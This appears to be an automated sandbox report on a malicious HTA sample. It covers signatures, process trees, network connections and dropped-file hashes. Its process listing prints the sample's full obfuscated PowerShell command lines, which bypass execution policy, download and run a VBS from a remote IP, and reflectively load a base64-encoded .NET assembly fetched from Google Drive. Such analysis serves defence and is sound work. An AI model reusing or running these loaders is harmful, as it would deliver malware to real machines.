Malware Analysis Report

2025-08-06 02:47

Sample ID 241031-c342gawnft
Target 8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta
SHA256 8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93
Tags
defense_evasion discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93

Threat Level: Known bad

The file 8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Blocklisted process makes network request

Checks computer location settings

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-31 02:37

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-31 02:37

Reported

2024-10-31 02:39

Platform

win10v2004-20241007-en

Max time kernel

131s

Max time network

145s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2936 wrote to memory of 1412 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
PID 2936 wrote to memory of 1412 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
PID 2936 wrote to memory of 1412 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
PID 1412 wrote to memory of 3528 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1412 wrote to memory of 3528 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1412 wrote to memory of 3528 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1412 wrote to memory of 2940 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 1412 wrote to memory of 2940 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 1412 wrote to memory of 2940 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 2940 wrote to memory of 3208 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2940 wrote to memory of 3208 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 2940 wrote to memory of 3208 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 1412 wrote to memory of 4108 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WScript.exe
PID 1412 wrote to memory of 4108 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WScript.exe
PID 1412 wrote to memory of 4108 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WScript.exe
PID 4108 wrote to memory of 4936 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4108 wrote to memory of 4936 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4108 wrote to memory of 4936 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4936 wrote to memory of 3048 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4936 wrote to memory of 3048 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4936 wrote to memory of 3048 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE

"C:\Windows\sYSTEM32\windOWSPowerShell\V1.0\POWeRSHell.eXE" "poweRSheLl.EXe -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT ; Iex($(IEX('[sYstEm.tExT.enCOding]'+[char]0X3a+[char]0x3A+'UtF8.GETStRIng([sySTEM.convERt]'+[CHAR]58+[CHar]58+'fRoMbase64STriNg('+[Char]0x22+'JFZENmI1TUtGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFEZC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtHRENPeUFFdkgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3Esc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkhuSk9PQWdhTCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNMV0JuWCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiS2cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3TnZtcExmRlp2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cU9kWVBRUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVkQ2YjVNS0Y6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE1MS82Ni9zZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnb29kZm9ybWV3aXRoLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnby52YnMiLDAsMCk7c3RBcnQtU2xFZXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNlZW1ldGhlYmVzdHRoaW5nc3dpdGhncmVhdG5lZWRzd2l0aGdvLnZicyI='+[cHAr]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD0CD.tmp" "c:\Users\Admin\AppData\Local\Temp\ham43hbl\CSCB9BAF572EE1A42BF965793E6EB38D41.TMP"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTSEVMbGlkWzFdKyRzaEVsbElkWzEzXSsnWCcpICgoJ2p2TWltYWdlVXJsID0gdUNiaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgdUNiO2p2TXdlYkNsaWVudCA9IE5ldy1PYmplYycrJ3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7anZNaW1hZ2VCJysneXRlJysncyA9IGp2TXdlYkNsaWVudC5Eb3dubG9hZERhJysndGEoanZNaW1hZ2VVcmwpO2p2TWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGp2TWltYWdlQnl0ZXMpO2p2TXN0YXJ0RmxhZyA9IHVDYjw8QkFTRTY0X1NUQVJUPj51Q2I7anZNZW5kJysnRmxhZyA9IHVDYjw8QkFTRTY0X0VORD4+dUNiO2p2TXN0YXJ0SW5kZXggPSBqdk1pbWFnZVRleHQuSW5kZXhPZihqdk1zdGFydEZsYWcpO2p2TWVuZEluZGV4ID0ganZNaW1hZ2VUZXh0JysnLkluZGV4T2YnKycoanZNZW5kRmxhZyk7anZNc3RhcnRJbmRleCAtZ2UgMCAtYW5kIGp2TWVuZEluZGV4IC1ndCBqdk1zdGFydEluZGV4O2p2TXN0YXJ0SW5kZXggKz0ganZNc3RhcnRGbGFnLkxlbmd0aDtqdk1iYXNlNjRMZW5ndGggPSBqdk1lbmRJJysnbmRleCAtIGp2TXN0YXJ0SW5kZScrJ3g7anZNYmFzZTY0Q29tbWFuZCA9IGp2TWltYWdlVGV4dC5TdWJzdHJpbmcoanZNc3RhcnRJbmRleCwganZNYmFzZTY0TGVuZ3RoKTtqdk0nKydiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChqdk1iYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCcrJykgbnJFIEZvckVhJysnY2gtT2JqZWN0IHsganZNXyB9KVstMS4uLShqdk1iYXNlNjRDb21tYW5kLkxlbmd0aCldO2p2TWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoanZNYmFzZTY0UmV2ZXJzZWQpO2p2TWxvYWRlZEFzc2VtYmx5ICcrJz0gW1N5Jysnc3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChqdk1jb21tYW5kQnl0ZXMpO2p2TXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QnKycodUNiVkFJdUNiKTtqdk12YWlNZXRob2QuSW52b2tlKGp2TW51bGwsIEAodUNidHh0LicrJ0dST0wnKydMLzY2LzE1MS44NzEuNjQuODkxLycrJy86cHR0aHVDJysnYiwgdUNiZGVzYXRpdmFkb3VDYiwgdUNiZGVzYScrJ3RpdmFkb3VDYiwgdUNiZGVzYXRpdmFkb3VDYicrJywgdUNiYXNwbicrJ2UnKyd0X3JlZ2Jyb3dzZXJzdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYXRpdmFkb3VDYix1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYScrJ3RpdmFkb3VDYix1Q2IxdUNiLHVDYmRlc2F0aXZhZG91Q2IpKTsnKS5SZXBsQWNlKCdqdk0nLCckJykuUmVwbEFjZSgndUNiJyxbc1RyaW5HXVtjaGFSXTM5KS5SZXBsQWNlKChbY2hhUl0xMTArW2NoYVJdMTE0K1tjaGFSXTY5KSxbc1RyaW5HXVtjaGFSXTEyNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SHELlid[1]+$shEllId[13]+'X') (('jvMimageUrl = uCbhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur uCb;jvMwebClient = New-Objec'+'t System.Net.WebClient;jvMimageB'+'yte'+'s = jvMwebClient.DownloadDa'+'ta(jvMimageUrl);jvMimageText = [System.Text.Encoding]::UTF8.GetString(jvMimageBytes);jvMstartFlag = uCb<<BASE64_START>>uCb;jvMend'+'Flag = uCb<<BASE64_END>>uCb;jvMstartIndex = jvMimageText.IndexOf(jvMstartFlag);jvMendIndex = jvMimageText'+'.IndexOf'+'(jvMendFlag);jvMstartIndex -ge 0 -and jvMendIndex -gt jvMstartIndex;jvMstartIndex += jvMstartFlag.Length;jvMbase64Length = jvMendI'+'ndex - jvMstartInde'+'x;jvMbase64Command = jvMimageText.Substring(jvMstartIndex, jvMbase64Length);jvM'+'base64Reversed = -join (jvMbase64Command.ToCharArray('+') nrE ForEa'+'ch-Object { jvM_ })[-1..-(jvMbase64Command.Length)];jvMcommandBytes = [System.Convert]::FromBase64String(jvMbase64Reversed);jvMloadedAssembly '+'= [Sy'+'stem.Reflection.Assembly]::Load(jvMcommandBytes);jvMvaiMethod = [dnlib.IO.Home]'+'.GetMethod'+'(uCbVAIuCb);jvMvaiMethod.Invoke(jvMnull, @(uCbtxt.'+'GROL'+'L/66/151.871.64.891/'+'/:ptthuC'+'b, uCbdesativadouCb, uCbdesa'+'tivadouCb, uCbdesativadouCb'+', uCbaspn'+'e'+'t_regbrowsersuCb, uCbdesativadouCb, uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesa'+'tivadouCb,uCb1uCb,uCbdesativadouCb));').ReplAce('jvM','$').ReplAce('uCb',[sTrinG][chaR]39).ReplAce(([chaR]110+[chaR]114+[chaR]69),[sTrinG][chaR]124))"

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.28.10:443 g.bing.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 198.46.178.151:80 198.46.178.151 tcp
US 8.8.8.8:53 151.178.46.198.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.187.193:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 238.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 193.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 105.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 99.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 72.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

memory/1412-0-0x000000007178E000-0x000000007178F000-memory.dmp

memory/1412-1-0x0000000003000000-0x0000000003036000-memory.dmp

memory/1412-3-0x0000000005CD0000-0x00000000062F8000-memory.dmp

memory/1412-2-0x0000000071780000-0x0000000071F30000-memory.dmp

memory/1412-4-0x0000000071780000-0x0000000071F30000-memory.dmp

memory/1412-5-0x0000000005970000-0x0000000005992000-memory.dmp

memory/1412-6-0x0000000005A90000-0x0000000005AF6000-memory.dmp

memory/1412-7-0x0000000005B00000-0x0000000005B66000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dl5biv4r.xh5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1412-17-0x00000000064D0000-0x0000000006824000-memory.dmp

memory/1412-18-0x0000000006900000-0x000000000691E000-memory.dmp

memory/1412-19-0x0000000006940000-0x000000000698C000-memory.dmp

memory/3528-29-0x0000000006C10000-0x0000000006C42000-memory.dmp

memory/3528-30-0x000000006E040000-0x000000006E08C000-memory.dmp

memory/3528-40-0x0000000006040000-0x000000000605E000-memory.dmp

memory/3528-41-0x0000000006C60000-0x0000000006D03000-memory.dmp

memory/3528-42-0x00000000073F0000-0x0000000007A6A000-memory.dmp

memory/3528-43-0x0000000006DB0000-0x0000000006DCA000-memory.dmp

memory/3528-44-0x0000000006E10000-0x0000000006E1A000-memory.dmp

memory/3528-45-0x0000000007040000-0x00000000070D6000-memory.dmp

memory/3528-46-0x0000000006FB0000-0x0000000006FC1000-memory.dmp

memory/3528-47-0x0000000006FE0000-0x0000000006FEE000-memory.dmp

memory/3528-48-0x0000000006FF0000-0x0000000007004000-memory.dmp

memory/3528-49-0x0000000007100000-0x000000000711A000-memory.dmp

memory/3528-50-0x0000000007030000-0x0000000007038000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.cmdline

MD5 2c128153b61b5386104294f9eab60f83
SHA1 6a8abbd6cf8dd3fd2587662c547190de894401b8
SHA256 4291680dc8a779cbc571e4db3a3bf037b9835e4e83f9209aec252465c0bb9f8a
SHA512 53d9535a8971f16dc048690e7858b154657594136bcfd2727b4b963abe6753dffd364e10fd8ab4cb5903d34b722a05298f34619369ea72e84fc94c9e0e43fda6

\??\c:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.0.cs

MD5 8165df8b1b6d49c15b5e65811de25b8c
SHA1 fbe4fe188254b23c8b57b8d1bcd56011a93f34ba
SHA256 063172ff26517cdf762b144b713c24d423f75c6493234773c0e241c060dfa9f9
SHA512 ede5171453ece61e25baf3eef0a842e92a2b2c47c06bd4ed416f9c0a42e2bbc29f1810b97e4041dcdfd53995fc0e268f20a39188db553cf272b0374994473a2d

\??\c:\Users\Admin\AppData\Local\Temp\ham43hbl\CSCB9BAF572EE1A42BF965793E6EB38D41.TMP

MD5 991c031ce4b0f18aa895a668916ac729
SHA1 a41ac92e6342216cedacb79ce7cd594fa9843787
SHA256 0f6c311622d670c2471e007781d066598ab30666f10bbedc0d210a1ffdd43e4f
SHA512 0d4b02534982dd08fb8e2b3983eea3030dcf19525399ee77c8adda5dca65fbfc372ee709f071a32e1b146ab18d16acf0cfb7746488d671e191d3a4936d9f1f86

C:\Users\Admin\AppData\Local\Temp\RESD0CD.tmp

MD5 60c79d2da4b4122092cba759e6f52663
SHA1 616c5c5a124a9cf0cc6a285f565c9d5ac4ffa329
SHA256 eb54039eb300d10941863ceb68083403066c262c94ce8bdfb14caa49c966991a
SHA512 d8bdfa9fe7a9432ff3e36d7adea67f15b60a07c2beb86053a016b1d11870c8439fb982470ce0d441c80b3a82a2917c7fdd09ad22a6ce671d44f2c1e21da6730a

C:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.dll

MD5 5fb5189c28f1e986b0a54ca538caf5a6
SHA1 dbaef6c1b6e31027aeaaa1814b69b2a8e1c72585
SHA256 afa7726337eccd5a38f581ae48caabd3c6956e7ec883dc34739c0a5a2c3a6a50
SHA512 1776b1bce7a35152a6ead7975d0caf964a5e1e1b1c9ba122244a57d0bd9600a461aa3e2a620b0209ab00ac816f4c1b0f62af24996d33c3974a358a95d694ea46

memory/1412-65-0x0000000006EE0000-0x0000000006EE8000-memory.dmp

memory/1412-71-0x000000007178E000-0x000000007178F000-memory.dmp

memory/1412-72-0x0000000071780000-0x0000000071F30000-memory.dmp

memory/1412-73-0x0000000007CF0000-0x0000000007D12000-memory.dmp

memory/1412-74-0x0000000008E90000-0x0000000009434000-memory.dmp

C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs

MD5 64cc9748329c0e186cacd10d639615e6
SHA1 1291f245b185bd05fb09646b79f284d76e7dc0ff
SHA256 2c5fffa8231f572e3a34b8d4ca675aec062c3accfe661519a28e376605c0479d
SHA512 65ccbfe0223b58675aef7de997229f3ba66be892c851d6cec9018b941f3a5c5cac3c41fbe1878474213293ad25059b06e7ff7f0c4e3320d75a6fa7f071b646ba

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62cb4a5634c42159379a46af2c8aa859
SHA1 43c4b1fe49f9dd9547bd560f0bf67d656236b05a
SHA256 5179d05da0cb83a0e2aeb02d339311370bd82ffbbb27126dd70d4de41cfe1343
SHA512 301f9e7a53a748f0a3ef5c379acdfbefeb5917585fb83932f1db94b1c62b4b24892a07afa4347abe198d3640df25e8d9cdf50c8bebe87b0718dfb329cc1a674d

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWeRSHell.eXE.log

MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

memory/1412-81-0x0000000071780000-0x0000000071F30000-memory.dmp

memory/4936-91-0x0000000005E10000-0x0000000006164000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 22db90f2fdaee91da56048d1c225b330
SHA1 ccb545afae1aba1a27a21eb28a6e0ab72431d775
SHA256 8632ee8b147a77c70333ff2d9128cf0ffc437ec70c4f9e5e3356c5fe403afc32
SHA512 ce0b84e497905720f5f1c3db921c3f67952415ec52e2eb1992cdbe8052f2c059a423df0d54c77007281bea153027d3d361ae25e3771461e73b28bf489fd90642

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-31 02:37

Reported

2024-10-31 02:39

Platform

win7-20240903-en

Max time kernel

122s

Max time network

124s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE N/A
